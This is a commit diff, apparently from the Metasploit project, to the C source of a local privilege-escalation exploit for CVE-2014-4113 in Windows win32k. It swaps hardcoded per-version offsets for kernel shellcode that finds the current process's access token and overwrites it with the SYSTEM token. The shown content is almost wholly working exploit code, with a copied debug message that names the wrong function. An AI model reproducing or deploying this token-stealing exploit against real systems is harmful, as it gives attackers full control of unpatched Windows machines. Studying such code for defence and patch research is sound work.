Skip to content

Commit 03a84a1

Browse files
committed
Search the AccessToken
1 parent 71a6ec8 commit 03a84a1

File tree

3 files changed

+60
-62
lines changed

3 files changed

+60
-62
lines changed
512 Bytes
Binary file not shown.
Binary file not shown.

external/source/exploits/cve-2014-4113/cve-2014-4113/cve-2014-4113.c

Lines changed: 60 additions & 62 deletions
Original file line numberDiff line numberDiff line change
@@ -38,6 +38,10 @@ typedef NTSTATUS(NTAPI *lPsLookupProcessByProcessId)(
3838
OUT PVOID Process
3939
);
4040

41+
typedef NTSTATUS(NTAPI *lPsReferencePrimaryToken)(
42+
_Inout_ PVOID Process
43+
);
44+
4145
typedef NTSTATUS(NTAPI *lZwQuerySystemInformation)(
4246
_In_ DWORD SystemInformationClass,
4347
_Inout_ PVOID SystemInformation,
@@ -70,9 +74,9 @@ BOOL bHookCallbackFlag = FALSE;
7074

7175
WNDPROC lpPrevWndFunc;
7276
DWORD dwMyProcessId = 0;
73-
DWORD dwOffsetWindows = 0;
7477

7578
lPsLookupProcessByProcessId pPsLookupProcessByProcessId = NULL;
79+
lPsReferencePrimaryToken pPsReferencePrimaryToken = NULL;
7680
lNtAllocateVirtualMemory pNtAllocateVirtualMemory = NULL;
7781

7882
#ifdef DEBUGGING
@@ -131,16 +135,53 @@ DWORD_PTR __stdcall get_threadinfo_ptr(void)
131135
#endif
132136
}
133137

134-
int _stdcall shellcode_ring0(int one, int two, int three, int four)
138+
139+
// Search the specified data structure for a member with CurrentValue.
140+
BOOL FindAndReplaceMember(PDWORD Structure,
141+
DWORD CurrentValue,
142+
DWORD NewValue,
143+
DWORD MaxSize)
135144
{
136-
void *my_process_info = NULL;
137-
void *system_info = NULL;
145+
DWORD i, Mask;
138146

139-
pPsLookupProcessByProcessId((HANDLE)dwMyProcessId, &my_process_info);
140-
pPsLookupProcessByProcessId((HANDLE)4, &system_info);
147+
// Microsoft QWORD aligns object pointers, then uses the lower three
148+
// bits for quick reference counting.
149+
Mask = ~7;
141150

142-
*(PDWORD)((PBYTE)my_process_info + dwOffsetWindows) = *(PDWORD)((PBYTE)system_info + dwOffsetWindows);
151+
// Mask out the reference count.
152+
CurrentValue &= Mask;
143153

154+
// Scan the structure for any occurrence of CurrentValue.
155+
for (i = 0; i < MaxSize; i++) {
156+
if ((Structure[i] & Mask) == CurrentValue) {
157+
// And finally, replace it with NewValue.
158+
Structure[i] = NewValue;
159+
return TRUE;
160+
}
161+
}
162+
163+
// Member not found.
164+
return FALSE;
165+
}
166+
167+
int _stdcall shellcode_ring0(int one, int two, int three, int four)
168+
{
169+
void *pMyProcessInfo = NULL;
170+
void *pSystemInfo = NULL;
171+
PACCESS_TOKEN SystemToken;
172+
PACCESS_TOKEN TargetToken;
173+
174+
pPsLookupProcessByProcessId((HANDLE)dwMyProcessId, &pMyProcessInfo);
175+
pPsLookupProcessByProcessId((HANDLE)4, &pSystemInfo);
176+
177+
TargetToken = (PACCESS_TOKEN)pPsReferencePrimaryToken(pMyProcessInfo);
178+
SystemToken = (PACCESS_TOKEN)pPsReferencePrimaryToken(pSystemInfo);
179+
180+
// Find the token in the target process, and replace with the system token.
181+
FindAndReplaceMember((PDWORD)pMyProcessInfo,
182+
(DWORD)TargetToken,
183+
(DWORD)SystemToken,
184+
0x200);
144185
return 0;
145186
}
146187

@@ -169,61 +210,6 @@ void win32k_null_page(LPVOID lpPayload)
169210
return;
170211
}
171212

172-
#ifdef _M_X64
173-
if (versionInfo.dwMajorVersion == 6 && versionInfo.dwMinorVersion && versionInfo.dwMinorVersion == 1)
174-
{
175-
// Ex: Windows 7 SP1
176-
dprintf("[*] Windows 6.1 found...");
177-
dwOffsetWindows = 0x208;
178-
}
179-
#else
180-
if (versionInfo.dwMajorVersion == 6)
181-
{
182-
if (versionInfo.dwMinorVersion && versionInfo.dwMinorVersion == 1)
183-
{
184-
// Ex: Windows 7 SP1
185-
dprintf("[*] Windows 6.1 found...");
186-
dwOffsetWindows = 0xf8;
187-
}
188-
else if (!versionInfo.dwMinorVersion)
189-
{
190-
// Ex: Windows 2008 R2
191-
dprintf("[*] Windows 6.0 found...");
192-
dwOffsetWindows = 0xe0;
193-
}
194-
else
195-
{
196-
dprintf("[!] Unsupported Windows 6.%d found, only 6.0 and 6.1 supported atm", versionInfo.dwMinorVersion);
197-
return;
198-
}
199-
}
200-
else if (versionInfo.dwMajorVersion == 5)
201-
{
202-
if (versionInfo.dwMinorVersion && versionInfo.dwMinorVersion == 1)
203-
{
204-
// Ex: Windows XP SP3
205-
dprintf("[*] Windows 5.1 found...");
206-
dwOffsetWindows = 0xc8;
207-
}
208-
else if (versionInfo.dwMinorVersion && versionInfo.dwMinorVersion == 2)
209-
{
210-
// Ex: Windows 2003 SP2
211-
dprintf("[*] Windows 5.2 found...");
212-
dwOffsetWindows = 0xd8;
213-
}
214-
else
215-
{
216-
dprintf("[!] Unsupported Windows 5 found, only 5.1 and 5.2 supported atm");
217-
return;
218-
}
219-
}
220-
#endif
221-
else
222-
{
223-
dprintf("[!] Major Version %d found, not supported", versionInfo.dwMajorVersion);
224-
return;
225-
}
226-
227213
// Solve symbols
228214
dprintf("[*] Solving symbols...");
229215

@@ -321,6 +307,18 @@ void win32k_null_page(LPVOID lpPayload)
321307
pPsLookupProcessByProcessId = (lPsLookupProcessByProcessId)((DWORD_PTR)pNtBase + ((DWORD_PTR)pPsLookupProcessByProcessId - (DWORD_PTR)hNtKrnl));
322308
dprintf("[*] pPsLookupProcessByProcessId in kernel: 0x%p", pPsLookupProcessByProcessId);
323309

310+
311+
pPsReferencePrimaryToken = (lPsReferencePrimaryToken)GetProcAddress(hNtKrnl, "PsReferencePrimaryToken");
312+
313+
if (pPsReferencePrimaryToken == NULL)
314+
{
315+
dprintf("[!] Failed to solve PsLookupProcessByProcessId");
316+
return;
317+
}
318+
319+
pPsReferencePrimaryToken = (lPsReferencePrimaryToken)((DWORD_PTR)pNtBase + ((DWORD_PTR)pPsReferencePrimaryToken - (DWORD_PTR)hNtKrnl));
320+
dprintf("[*] pPsReferencePrimaryToken in kernel: 0x%p", pPsReferencePrimaryToken);
321+
324322
dwMyProcessId = GetCurrentProcessId();
325323

326324
// Register Class

0 commit comments

Comments
 (0)